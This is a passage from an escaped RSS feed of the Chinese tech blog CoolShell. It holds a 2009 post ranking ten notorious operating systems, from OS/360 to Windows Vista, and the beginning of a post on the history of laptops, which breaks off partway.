wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/3933.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/23.jpg\" alt=\"可视化的排序过程\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/3933.html\" class=\"wp_rp_title\">可视化的排序过程</a></li><li ><a href=\"https://coolshell.cn/articles/2583.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/0.jpg\" alt=\"一些重要的算法\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/2583.html\" class=\"wp_rp_title\">一些重要的算法</a></li><li ><a href=\"https://coolshell.cn/articles/536.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2009/04/bubble-150x150.png\" alt=\"一个显示排序过程的Python脚本\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/536.html\" class=\"wp_rp_title\">一个显示排序过程的Python脚本</a></li><li ><a href=\"https://coolshell.cn/articles/12052.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/29.jpg\" alt=\"Leetcode 编程训练\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/12052.html\" class=\"wp_rp_title\">Leetcode 编程训练</a></li><li ><a href=\"https://coolshell.cn/articles/6010.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/23.jpg\" alt=\"一些有意思的算法代码\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/6010.html\" class=\"wp_rp_title\">一些有意思的算法代码</a></li><li ><a href=\"https://coolshell.cn/articles/4671.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/11.jpg\" alt=\"可视化的数据结构和算法\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/4671.html\" class=\"wp_rp_title\">可视化的数据结构和算法</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/399.html\">一个排序算法比较的网站</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/399.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>33</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>十大史上最恶心的操作系统</title>\n\t\t<link>https://coolshell.cn/articles/394.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/394.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Thu, 09 Apr 2009 16:57:56 +0000</pubDate>\n\t\t\t\t<category><![CDATA[技术读物]]></category>\n\t\t<category><![CDATA[操作系统]]></category>\n\t\t<category><![CDATA[轶事趣闻]]></category>\n\t\t<category><![CDATA[OS]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=394</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>Computer World上有人评出了有史以来十大臭名照著的操作系统，我们来看看倒底有那些，顺便也回顾一下操作系统的历史。下面的顺序通过时间顺序由古至今。 O...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/394.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/394.html\">十大史上最恶心的操作系统</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script><a href=\"http://www.computerworld.com/\" target=\"_blank\">Computer World</a>上有人评出了有史以来十大臭名照著的操作系统，我们来看看倒底有那些，顺便也回顾一下操作系统的历史。下面的顺序通过时间顺序由古至今。</p>\n<h4><a href=\"http://www.britannica.com/EBchecked/topic/1461036/IBM-OS360\" target=\"new\">OS/360</a>, 1964</h4>\n<p>这里，说的不是后面新版的OS/360，这里说的是60年代未70年代初的第一版的OS/360。当时的Project Manager，Fred Brooks， 《人月神话》 <em><a href=\"http://www.amazon.com/reader/0201835959#reader\" target=\"new\">The Mythical Man-Month</a></em>的作者，这是一本非常经典的告诉你软件开发是如何失败的一本书。在书中，Brooks解释说，他们需要了比较计划更多的内存，最后导致了预算超标了好几次，当然，最终这个操作系统还是很慢。另一方面，这本书中也出现了一句网络上的流行语：&#8221;Adding manpower to a late software project makes it later.&#8221; （在项目的后期加入人手只会让项目更拖）Brooks 喜欢像一本软件开发者的圣经一样描述，因为&#8221;everybody reads it, but nobody does anything about it.&#8221; 在书中他展开描述了这个故事后，我们才知道他是对的。</p>\n<p><span id=\"more-394\"></span></p>\n<h4><a href=\"http://en.wikipedia.org/wiki/Incompatible_Timesharing_System\" target=\"new\"><strong>ITS</strong></a>(Incompatible Timesharing System), 60年代后期</h4>\n<p> 在 DEC PDP-6 和PDP-10 使用汇编语言开发的操作系统上，当你面对着——每一个目录中只能有一个6个字符的文件时，每一个目录？（是的，每一个文件必需放在一个目录中，每一个目录也只能放一个文件），你会有什么样的想法？并且，这个操作系统的安全等零，例如：没有口令系统，你可以随意地登录，并且可以干所有的事。</p>\n<p>但是，实际上来说，ITS却是一个非常重要的操作系统，因为它最终发展成了顶顶大名的Unix，今天许许多多的程序，如 <a href=\"http://www.gnu.org/software/emacs/\" target=\"new\">Emacs 编辑器</a> 和 <a href=\"http://knowledgerush.com/kr/encyclopedia/Lisp_programming_language/\" target=\"new\">Lisp语言</a>，都是从ITS开始的。ITS操作系统，也是电脑黑客最早出现的地方，你可以看一看，Steve Levy 的经典图书 <em><a href=\"http://www.amazon.com/Hackers-Computer-Revolution-Steven-Levy/dp/0141000511\" target=\"new\">Hackers</a></em>.。你会在这本书里找到娱乐和有趣，并会非常高兴自己并没有使用过这个操作系统。</p>\n<p> </p>\n<h4><a href=\"http://www.gnu.org/\" target=\"new\">GNU Hurd</a>, 1983启动，至今也没有完成</h4>\n<p>你想知道为什么今天的Linux要叫做GNU/Linux吗？官方的解释是，Linux只不过是操作系统的内核（<a href=\"http://www.webopedia.com/TERM/k/kernel.html\" target=\"new\">OS kernel</a> ），而其周围全是GNU的软件，从而成为了一个完整的操作系统。 <a href=\"http://www.gnu.org/\" target=\"new\">GNU</a> 曾经在1983年向全世界宣告他们会在未来开发出一个取代Unix的操作系统，以此作为整个自由软件的操作系统。</p>\n<p>但是，25年过去了，GNU还是什么也没有完成，其操作系统内核 <a href=\"http://www.gnu.org/software/hurd/hurd/what_is_the_gnu_hurd.html\" target=\"new\">Hurd</a>，就重来没有真正的开始工作过。虽然这是一个可能非常理想的操作系统，但作者把这个操作系统归入Top 10的理由是——经过了四分之一个世纪，GNU并没有按照自己的承诺完成对Unix的替代。但这个事情却被别的软件所取代，比如：Linux和BSD Unix，让我们看一下Linux那夸张的<a href=\"http://en.wikipedia.org/wiki/List_of_Linux_distributions\" target=\"new\">数量众多的发行版</a>吧。</p>\n<h4><a href=\"http://en.wikipedia.org/wiki/Windows_1.0\" target=\"new\">Windows 1.01</a>, 1985</h4>\n<p>Microsoft第一次尝试图形用户接口是为了 MS-DOS ，用一个词来形容，就是 dreadful。相当的ugly，用了两年的时间来开发但却几乎无法很好的工作。另外，这个图形界面中几乎没有什么可以运行的东西。直到两年后的Windows 2.03 ，Windows才开始像点样了。</p>\n<p>再让我们对这个操作系统加点侮辱性的词汇吧，自从Windows 1 发布以来，Mac 早就提供了起前的 System 2.1，当时的Mac OS 包含了AppleTalk 网络，PostScript 可以使用激光打印机，以及最早的PC文件系统：Hierarchical File System. 连比都没法比。</p>\n<h4><a href=\"http://nukesoft.co.uk/msdos/dosversions.shtml\" target=\"new\">MS-DOS 4.0</a>, 1988</h4>\n<p>1988 年微软在其MS-DOS 上花费了大量的时间来改善其，当然，MS-DOS是一版不如一版，虽然比起MS-DOS3.3都很差，但自从令人恐怕MS-DOS 4.0问世以来，其它更烂MS-DOS都不能算得上烂了。你的程序就像时钟一样的总是终断，在程序执行到一样总是会完全死了。除了Windows的蓝屏之外，没有比这再烂的事了。</p>\n<p>当时，几乎所有的PC要么都回到了MS-DOS 3.3 ，要么就转于使用 Digital Research的 DR-DOS 3.41 。虽然 DR-DOS 的版本号是在模仿MS-DOS 以提供相似的功能，但是Digital Research 最终在 1989 年使用了 DR-DOS 5.0 来避免人们会联想到 MS-DOS 4.0。</p>\n<p><a name=\"opendesktop\"></a></p>\n<h4><a href=\"http://www.websters-dictionary-online.org/Op/Open+Desktop.html\" target=\"new\">SCO Open Desktop</a>, 1989</h4>\n<p>正面来说，这是第一个32位的 Unix 的图形界面，负面来说，这个操作系统的昵称叫 Open Deathtrap。Open Desktop 会是，也能够，并提供一些最令人娱乐的方式。一个编译器可以让整个系统core dump 。</p>\n<p><a name=\"javaos\"></a></p>\n<h4><a href=\"http://www.operating-system.org/betriebssystem/_english/bs-javaos.htm\" target=\"new\">JavaOS</a>, 1996</h4>\n<p>想知道什么是最糟糕的操作系统的想法吗？那就是使用一种慢得像泥巴一样的语言Java来写这个操作系统。1996年，得到了IBM的帮助的Sun尝试了这件事。JavaOS 当时被设计在网络计算机上和嵌入式系统上。</p>\n<p>那会是怎么个样子呢？让我这样来说吧：这个世界上有许多的嵌入式操作系统，如： Qnx, VxWorks, Symbian, Windows CE 等等，但是，在这个圈子里，几乎没人知道还有JavaOS这么个东西。</p>\n<p>虽然有几个公司得到了许可证，但是只有一个产品在商业上使用了这个东西，那就是Sun公司自己的可能都忘了的 <a href=\"http://docs.sun.com/app/docs/doc/805-5890-10/6j5ic0vpe?l=en&amp;a=view\" target=\"new\">JavaStation network computer</a>。到了 2006年， Sun公司开始清理他自己的废弃的系统时，最终把结束了基于 Java的操作系统。</p>\n<h4><a href=\"http://en.wikipedia.org/wiki/Windows_Me\" target=\"new\">Windows Me</a> (Millennium Edition千禧版), 2000</h4>\n<p>在Vista出来之前，Windows Me 绝对是Windows系列中最差的操作系统，作为Windows 98 SE的继任者，在 <em>PC World</em> <a href=\"http://www.pcworld.com/article/125772-2/the_25_worst_tech_products_of_all_time.html\" target=\"new\">25 史上最烂的科技产品</a>中排行第四。这是一个想集16位和 32位为一身的操作系统。就像给一匹马的每条前腿上都装上一个轮子，而在后腿上钉上马掌。缓慢，不稳定，不安全，这些都是Windows的共性，但是Windows ME是终极的缓慢，不稳定和不安全。它究竟有多烂？烂到了微软自己也就卖了它一年多一点吧。</p>\n<p><a name=\"lindows\"></a></p>\n<h4><a href=\"http://www.wired.com/software/coolapps/news/2001/10/47888\" target=\"new\">Lindows</a>/<a href=\"http://www.linux-xp.com/\" target=\"new\">Linux XP Desktop</a>, 2001/2006</h4>\n<p>如果你想要把 Linux 和 Windows 放在一起会怎么样？Nothing very good。 Lindows, 始于2001年，号称要把所有的Windows的程序可以运行在Linux下， 但没有几个月，Lindows Inc. 放弃了这个想法。就算是<a href=\"http://www.winehq.org/\" target=\"new\">WINE</a>，这个程序也没有办法让足够多的Windows程序运行于Linux。</p>\n<p>当然，这些SB的想法并没有就上终止，Russia-based TrustVerse 还在试图 &#8220;We&#8217;ll be everything Windows, but we&#8217;re Linux&#8221; 去创建一个 Linux XP Desktop。这个想法并没有比 Lindows 好多少。如果你真的想在Linux下运行Windows的应用程序，你应该看看——CodeWeavers的 <a href=\"http://www.codeweavers.com/products/cxlinux/\" target=\"new\">CrossOver Linux</a>.</p>\n<p><a name=\"vista\"></a></p>\n<h4><a href=\"http://www.microsoft.com/windows/windows-vista/discover/default.aspx\" target=\"new\">Windows Vista</a>, 2006</h4>\n<p>相信你对这个操作系统不会感到陌生，那我们就用再一一列举这个系统的不好的地方了。反正，就是慢，软硬件不兼容，高成本，安全差等等这些事。</p>\n<p>看看这篇文章 <a href=\"http://blogs.computerworld.com/microsoft_caved_to_intel_in_vista_junk_pc_scheme\">&#8220;Vista Capable&#8221; sticker</a>你可能会知道一些，下面摘自 <a href=\"http://www.computerworld.com/action/article.do?command=viewArticleBasic&amp;articleId=9065538\">early &#8220;review&#8221; of Vista</a>:</p>\n<blockquote><p>&#8220;I chose my laptop (a Sony TX770P) because it had the Vista logo and was pretty disappointed that it not only wouldn&#8217;t run [Aero], but more important wouldn&#8217;t run [Windows] Movie Maker. &#8230; Now I have a $2,100 e-mail machine.&#8221;</p></blockquote>\n<p>谁是这个评论的作者？ Mike Nash, Microsoft公司的副总裁，主管Window产品。这是和他一个内部的邮件，时间是 2007年2月25日。</p>\n<p>再看看这篇文章<a href=\"http://www.computerworld.com/action/article.do?command=viewArticleBasic&amp;articleId=9112885\">downgraded to XP</a>, 以及这篇文章 <a href=\"http://blogs.computerworld.com/xp_lives_for_a_price\">extending the cutoff date for XP sales</a> 还有这篇，<a href=\"http://blogs.computerworld.com/vista_r_i_p\">hurrying Windows 7 to market</a> 越来越有意思了。</p>\n<p><em></em></p>\n<p>文章：<a href=\"http://www.computerworld.com/action/article.do?command=viewArticleBasic&amp;taxonomyName=Operating+Systems&amp;articleId=9131178&amp;taxonomyId=89&amp;pageNumber=1\" target=\"_blank\">来源</a></p>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/1998.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2009/12/operatingsystems-fanboys-150x150.jpg\" alt=\"粉丝眼中的操作系统\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/1998.html\" class=\"wp_rp_title\">粉丝眼中的操作系统</a></li><li ><a href=\"https://coolshell.cn/articles/105.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2009/03/19-windows-3-150x150.gif\" alt=\"操作系统图形界面发展史(1981-2009)\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/105.html\" class=\"wp_rp_title\">操作系统图形界面发展史(1981-2009)</a></li><li ><a href=\"https://coolshell.cn/articles/2011.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/27.jpg\" alt=\"推荐几个镜像站点\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/2011.html\" class=\"wp_rp_title\">推荐几个镜像站点</a></li><li ><a href=\"https://coolshell.cn/articles/822.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/1.jpg\" alt=\"Linux磁盘使用命令du的改进\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/822.html\" class=\"wp_rp_title\">Linux磁盘使用命令du的改进</a></li><li ><a href=\"https://coolshell.cn/articles/599.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/2.jpg\" alt=\"Google 三维 JavaScript API 发布\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/599.html\" class=\"wp_rp_title\">Google 三维 JavaScript API 发布</a></li><li ><a href=\"https://coolshell.cn/articles/3331.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2010/12/google_beat_box-150x150.jpg\" alt=\"用Google Translate玩转beat box\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/3331.html\" class=\"wp_rp_title\">用Google Translate玩转beat box</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/394.html\">十大史上最恶心的操作系统</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/394.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>5</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>笔记本电脑的发展史</title>\n\t\t<link>https://coolshell.cn/articles/378.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/378.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Wed, 08 Apr 2009 15:02:59 +0000</pubDate>\n\t\t\t\t<category><![CDATA[技术读物]]></category>\n\t\t<category><![CDATA[轶事趣闻]]></category>\n\t\t<category><![CDATA[Laptop]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=378</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>这是一段比较有趣的历史，让我们回顾一下笔记本电脑的整个历史吧。可能叫便携式电脑比较好一点。 1970 &#8211; 1981 第一个便携式的电脑概念 上世纪7...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/378.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/378.html\">笔记本电脑的发展史</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script><a href=\"https://coolshell.cn/wp-content/uploads/2009/04/radio-shack-trs-80-model-100-mobile-computer.jpg\"></a><a href=\"https://coolshell.cn/wp-content/uploads/2009/04/ibm-portable-pc-5155.jpg\"></a><a href=\"https://coolshell.cn/wp-content/uploads/2009/04/compaq-slt-286.jpg\"></a><a href=\"https://coolshell.cn/wp-content/uploads/2009/04/zeniths-minisport.jpg\"></a><a href=\"https://coolshell.cn/wp-content/uploads/2009/04/macportable.jpg\"></a><a href=\"https://coolshell.cn/wp-content/uploads/2009/04/powerbook-165c.jpg\"></a><a href=\"https://coolshell.cn/wp-content/uploads/2009/04/panasonic-toughbook-cf-25-bullets.jpg\"></a><a href=\"https://coolshell.cn/wp-content/uploads/2009/04/macbook-air.jpg\"></a><a href=\"https://coolshell.cn/wp-content/uploads/2009/04/asus-eee-pc-s101.jpg\"></a><a href=\"https://coolshell.cn/wp-content/uploads/2009/04/sony-zoom.jpg\"></a>这是一段比较有趣的历史，让我们回顾一下笔记本电脑的整个历史吧。可能叫便携式电脑比较好一点。</p>\n<p><strong>1970 &#8211; 1981 第一个便携式的电脑概念</strong></p>\n<p>上世纪70年代，Alan Kay 在 Xerox PARC开始有了便携式个人电脑的想法。到了1981年， Osborne 1问世，其由Adam Osborne创造。如下图。Osborne 1 有一个5英寸的屏幕，还有一个可选的电池，两个5 ¼” 软驱，一个 modem 接口，还有一个键盘。当时的价格是$1,800（包括一块电池）。</p>\n<p><a href=\"https://coolshell.cn/wp-content/uploads/2009/04/osborne1.jpg\"><img decoding=\"async\" loading=\"lazy\" class=\"alignnone size-full wp-image-385\" title=\"osborne1\" src=\"https://coolshell.cn/wp-content/uploads/2009/04/osborne1.jpg\" alt=\"osborne1\" width=\"550\" height=\"441\" srcset=\"https://coolshell.cn/wp-content/uploads/2009/04/osborne1.jpg 550w, https://coolshell.cn/wp-content/uploads/2009/04/osborne1-300x241.jpg 300w, https://coolshell.cn/wp-content/uploads/2009/04/osborne1-337x270.jpg 337w\" sizes=\"(max-width: 550px) 100vw, 550px\" /></a></p>\n<p> <span id=\"more-378\"></span></p>\n<h3>1981 &#8211; 1984 : Gavilan 和 IBM</h3>\n<p>没有多久Gavilan Mobile Computer公司也进入了这个行业。其第一个便携式电脑的原型和今天的笔记本电脑非常相似，而且只有4公斤重并且配备了一个可以运行9个小时的镍镉电池。无论是从性能还是设计上来说，在1983年，这已经是非常超前的。而且这是 Galvin 第一次向市场引入了“移动PC”的术语。</p>\n<p><a href=\"https://coolshell.cn/wp-content/uploads/2009/04/gavilan-mobile-computer.jpg\"><img decoding=\"async\" loading=\"lazy\" title=\"gavilan-mobile-computer\" src=\"https://coolshell.cn/wp-content/uploads/2009/04/gavilan-mobile-computer.jpg\" alt=\"gavilan-mobile-computer\" width=\"550\" height=\"275\" /></a></p>\n<p>Osborne 1的出现后， 微软公司的Kazuhiko Nishi 开始了一个便携式电脑的原型，其采用了LCD显示屏，重量2 kilos，叫做“Radio Shack TRS-80 Model 100 Mobile Computer”，有一个 modem，还有一个无线电通讯的程序，以及一个文本编辑器和一个由微软开发的小程序。总的来说，这更像是一个无线装置。（如下图）</p>\n<p><a href=\"https://coolshell.cn/wp-content/uploads/2009/04/radio-shack-trs-80-model-100-mobile-computer.jpg\"><img decoding=\"async\" loading=\"lazy\" class=\"alignnone size-full wp-image-388\" title=\"radio-shack-trs-80-model-100-mobile-computer\" src=\"https://coolshell.cn/wp-content/uploads/2009/04/radio-shack-trs-80-model-100-mobile-computer.jpg\" alt=\"radio-shack-trs-80-model-100-mobile-computer\" width=\"550\" height=\"393\" srcset=\"https://coolshell.cn/wp-content/uploads/2009/04/radio-shack-trs-80-model-100-mobile-computer.jpg 550w, https://coolshell.cn/wp-content/uploads/2009/04/radio-shack-trs-80-model-100-mobile-computer-300x214.jpg 300w\" sizes=\"(max-width: 550px) 100vw, 550px\" /></a></p>\n<p>随着我们的“Radio Shack”让我们的便携式电脑看起来更像是笔记本电脑，IBM也开发进入这个市场，其于1984年开发了Portable PC 5155。但是，这个便携式电脑犯了一个可怕的错误，那就是其“便携”的重量有13.6公斤，而且有一个9英寸的显示器，价格在$ 4000。而且，你还得随时插在电脑插座上，因为它根本没有电池。所以，5155 充其量只不过是一个“可以容易搬动的台式电脑”。不过非常感谢IBM的是，他们只用了1年的时间就终止了这个畸形的产物。</p>\n<p><a href=\"https://coolshell.cn/wp-content/uploads/2009/04/ibm-portable-pc-5155.jpg\"><img decoding=\"async\" loading=\"lazy\" class=\"alignnone size-full wp-image-382\" title=\"ibm-portable-pc-5155\" src=\"https://coolshell.cn/wp-content/uploads/2009/04/ibm-portable-pc-5155.jpg\" alt=\"ibm-portable-pc-5155\" width=\"550\" height=\"368\" srcset=\"https://coolshell.cn/wp-content/uploads/2009/04/ibm-portable-pc-5155.jpg 550w, https://coolshell.cn/wp-content/uploads/2009/04/ibm-portable-pc-5155-300x200.jpg 300w\" sizes=\"(max-width: 550px) 100vw, 550px\" /></a></p>\n<p> </p>\n<h3>1984 &#8211; 1988: Compaq</h3>\n<p>在接下来的几年，笔记本电脑几乎没有什么发展。不过Compaq 公司在1988 的时候开发了一台便携式电脑Compaq SLT 286，有一个VGA的显示器，1.44英寸的软戏和一颗286的CPU，只是重量有6公斤。</p>\n<p><a href=\"https://coolshell.cn/wp-content/uploads/2009/04/compaq-slt-286.jpg\"><img decoding=\"async\" loading=\"lazy\" class=\"alignnone size-full wp-image-380\" title=\"compaq-slt-286\" src=\"https://coolshell.cn/wp-content/uploads/2009/04/compaq-slt-286.jpg\" alt=\"compaq-slt-286\" width=\"550\" height=\"413\" srcset=\"https://coolshell.cn/wp-content/uploads/2009/04/compaq-slt-286.jpg 550w, https://coolshell.cn/wp-content/uploads/2009/04/compaq-slt-286-300x225.jpg 300w\" sizes=\"(max-width: 550px) 100vw, 550px\" /></a></p>\n<h3> </h3>\n<h3>1989 &#8211; 1993:  NEC，Zenith的MinisPORT 以及 第一代的Macintosh</h3>\n<p>NEC 公司改变了便携式电脑重量太重的局面，他的 NEC UltraLite model— 第一个有完整功能的基于MS-DOS的便携式PC机只有4.4 磅（2公斤左右）。而其接下来具有革命性的发展是在90年代，但其开始1989年，由 Zenith Data Systems 公司生产的 Minisport，其带 640K的RAM，1.44英寸的软驱，一个2400波特率的Modem以及一个20MB ESDI 硬盘。虽然其只有一个彩色的LCD显示器，但是，也足够不错了。从此开始了便携电脑的新纪元。</p>\n<p><a href=\"https://coolshell.cn/wp-content/uploads/2009/04/zeniths-minisport.jpg\"><img decoding=\"async\" loading=\"lazy\" class=\"alignnone size-full wp-image-390\" title=\"zeniths-minisport\" src=\"https://coolshell.cn/wp-content/uploads/2009/04/zeniths-minisport.jpg\" alt=\"zeniths-minisport\" width=\"550\" height=\"442\" srcset=\"https://coolshell.cn/wp-content/uploads/2009/04/zeniths-minisport.jpg 550w, https://coolshell.cn/wp-content/uploads/2009/04/zeniths-minisport-300x241.jpg 300w\" sizes=\"(max-width: 550px) 100vw, 550px\" /></a></p>\n<p>接下来，我们来看一下，苹果公司的第一代Macintosh 便携机，重达8公斤，但是其有 9.8英寸的最大分辨率有 640 x 400像素的显示器。</p>\n<p><a href=\"https://coolshell.cn/wp-content/uploads/2009/04/macportable.jpg\"><img decoding=\"async\" loading=\"lazy\" class=\"alignnone size-full wp-image-384\" title=\"macportable\" src=\"https://coolshell.cn/wp-content/uploads/2009/04/macportable.jpg\" alt=\"macportable\" width=\"550\" height=\"390\" srcset=\"https://coolshell.cn/wp-content/uploads/2009/04/macportable.jpg 550w, https://coolshell.cn/wp-content/uploads/2009/04/macportable-300x212.jpg 300w\" sizes=\"(max-width: 550px) 100vw, 550px\" /></a></p>\n<p>到了1993年，我们开始有了 256色的显示器，其代表产品是PowerBook 165c。然后，我们开始进入今天，百万像素的真彩色显示器，更好和更轻的的笔记本电脑，更为灵活的设计，更好的性期，并开始有了多媒体包括CD-ROM。然后，真正没有让笔记本电脑流行的是，笔记本电脑的性价比，价格太贵了，像ThinkPad和MacBook也是在那时出现的，但是没有多少人能真正地买得起。</p>\n<p><a href=\"https://coolshell.cn/wp-content/uploads/2009/04/powerbook-165c.jpg\"><img decoding=\"async\" loading=\"lazy\" class=\"alignnone size-full wp-image-387\" title=\"powerbook-165c\" src=\"https://coolshell.cn/wp-content/uploads/2009/04/powerbook-165c.jpg\" alt=\"powerbook-165c\" width=\"550\" height=\"400\" srcset=\"https://coolshell.cn/wp-content/uploads/2009/04/powerbook-165c.jpg 550w, https://coolshell.cn/wp-content/uploads/2009/04/powerbook-165c-300x218.jpg 300w\" sizes=\"(max-width: 550px) 100vw, 550px\" /></a></p>\n<p> </p>\n<p><strong>1996 &#8211; 2003 : Panasonic 的ToughBooks 和Intel 处理器</strong></p>\n<p>1996年Panasonic 公司引入了新一代的笔记本电脑——Toughbook (CF-25)，70 cm高，可以抵抗灰尘和水气，非常明显，松下公司想改变便携式电脑的观念，感觉上这个电脑更像是一个军用的。就算是使用枪击过的电脑，电脑也能正常工作。</p>\n<p> <a href=\"https://coolshell.cn/wp-content/uploads/2009/04/panasonic-toughbook-cf-25-bullets.jpg\"><img decoding=\"async\" loading=\"lazy\" class=\"alignnone size-full wp-image-386\" title=\"panasonic-toughbook-cf-25-bullets\" src=\"https://coolshell.cn/wp-content/uploads/2009/04/panasonic-toughbook-cf-25-bullets.jpg\" alt=\"panasonic-toughbook-cf-25-bullets\" width=\"550\" height=\"400\" srcset=\"https://coolshell.cn/wp-content/uploads/2009/04/panasonic-toughbook-cf-25-bullets.jpg 550w, https://coolshell.cn/wp-content/uploads/2009/04/panasonic-toughbook-cf-25-bullets-300x218.jpg 300w\" sizes=\"(max-width: 550px) 100vw, 550px\" /></a></p>\n<p>以后，直到2003年，直到Intel开发出了不可思异地低能耗的 Pentium M 处理器，其在整个笔记本电脑的发展上写下了重重的一笔，而且价格上开始了巨大的松动，于是笔记本电脑也开始进了一平常百姓家里。</p>\n<p> <strong>今天和未来</strong></p>\n<p>让我们来看看今天的电脑吧。今天，无线连接，蓝牙，Wi-Fi,  DVD 光驱, 高级显卡，宽屏，超薄，口袋电脑，……</p>\n<p class=\"wp-caption-text\">Apple Macbook Air</p>\n<p><a href=\"https://coolshell.cn/wp-content/uploads/2009/04/macbook-air.jpg\"><img decoding=\"async\" loading=\"lazy\" class=\"alignnone size-full wp-image-383\" title=\"macbook-air\" src=\"https://coolshell.cn/wp-content/uploads/2009/04/macbook-air.jpg\" alt=\"macbook-air\" width=\"550\" height=\"324\" srcset=\"https://coolshell.cn/wp-content/uploads/2009/04/macbook-air.jpg 550w, https://coolshell.cn/wp-content/uploads/2009/04/macbook-air-300x176.jpg 300w\" sizes=\"(max-width: 550px) 100vw, 550px\" /></a></p>\n<p class=\"wp-caption-text\">Asus EEE PC S101</p>\n<p><a href=\"https://coolshell.cn/wp-content/uploads/2009/04/asus-eee-pc-s101.jpg\"><img decoding=\"async\" loading=\"lazy\" class=\"alignnone size-full wp-image-379\" title=\"asus-eee-pc-s101\" src=\"https://coolshell.cn/wp-content/uploads/2009/04/asus-eee-pc-s101.jpg\" alt=\"asus-eee-pc-s101\" width=\"410\" height=\"290\" 